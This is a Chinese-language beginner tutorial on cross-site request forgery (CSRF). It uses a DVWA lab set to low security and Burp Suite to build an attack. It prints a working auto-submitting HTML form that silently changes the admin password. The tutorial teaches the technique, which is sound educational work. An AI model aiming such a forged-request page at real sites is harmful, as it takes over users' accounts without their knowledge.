CSRF跨站請求偽造——入門篇
- 0. 前言
- 1. 什么是CSRF
- 2. 一次完整的CSRF攻擊
0. 前言
本文將帶你實現一次完整的CSRF攻擊,內容較為基礎。需要你掌握的基礎知識有:
- 了解
cookie
; - 已經安裝了DVWA的靶場環境(本地的或云的);
- 下載了專業版BurpSuite;
1. 什么是CSRF
1. 模擬一次“正常”的上網行為
- 有一天,我打開了一個銀行的網頁(我們模擬的銀行網站),想要給我的朋友轉錢:
- 轉完錢后,我又去瀏覽了其他“好看”的網頁:
- 看了一會兒之后,再次回到銀行頁面查看余額,發現錢沒了!!!又刷新了一次好看的頁面,再去看銀行,錢更少了!!!這是什么情況?
2. 分析
- 作為一名網絡安全的選手,怎么甘心錢就這么消失了呢?肯定有貓膩。我們檢測一下“好看”界面的網絡源代碼,發現果然有問題:
- 這個頁面中,有一個圖片標簽,向銀行網站發起了一次轉賬請求,目標用戶是1102,轉賬金額為1000塊。
- 但是它沒有我的用戶名和密碼啊,這是怎么回事?我們再去查看一下瀏覽器的安全設置,發現了問題:
- 在我們第一次登入銀行網站后,瀏覽器記錄了當前用戶的Cookie,且瀏覽器安全級別較低,不同網站之間,沒有設置Cookie的攔截。這也就意味著,當我使用這個瀏覽器訪問其他“好看”網站時,該網站可以使用之前保留的Cookie,向銀行發起請求,從而繞過身份驗證,攻擊就發生了。
- 這就是CSRF跨站請求偽造!
2. 一次完整的CSRF攻擊
本次實驗,全部在BP自帶的瀏覽器上進行。
1. 先看題目
- 修改DVWA的安全等級為low:
- 場景是,現在有一個用戶要改變
admin
的密碼,輸入兩次新密碼,一次驗證:
- 我們要通過CSRF的手段,在用戶不知情的情況下,修改
admin
密碼,這個密碼用戶不知道,它今后也就登入不了了。
2. 攻擊開始
- 開啟BP的攔截功能:
- 用戶輸入了新密碼,并提交了修改請求,該信息被我們攔截到了,直接將請求
forward
,并關閉攔截。接下來直接右鍵,讓BP自動生成一段CSRF的測試代碼:
- 可以看到,BP為我們生成了一個HTML文件:
- 如果用戶自己打開了這個網頁,它將會向目標網站(剛才用戶修改密碼所在的網站),自動發送修改密碼的請求。可以通過修改
password
對應的value
的值,將密碼修改為我們指定的內容admin
; - 自動提交的功能是由JS的代碼實現的,為
document.forms[0].submit();
。
- 如果用戶自己打開了這個網頁,它將會向目標網站(剛才用戶修改密碼所在的網站),自動發送修改密碼的請求。可以通過修改
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="http://localhost/DVWA/vulnerabilities/csrf/"><input type="hidden" name="password_new" value="admin" /><input type="hidden" name="password_conf" value="admin" /><input type="hidden" name="Change" value="Change" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>
- 在BP自帶的瀏覽器中測試,
copy
該文件的路徑,在BP中打開:
- 可以看到,這個新頁面立即跳轉到了修改用戶密碼的界面,并且修改成功,實驗完成。
3. 思考
- 上述實驗中,我們即是用戶,也是攻擊者。
- 用戶視角:
- 登入進DVWA網站主界面后,就不管了,也沒想著去修改密碼。之后不慎點擊了某個不知名鏈接,導致密碼被惡意修改了;
- 攻擊者視角:
- 已經提前做好了一個CSRF的攻擊網站,等待用戶點擊。實驗中攔截請求的操作,是不會出現在真實場景中的,只是為了使用一下BP自帶的CSRF自動生成工具。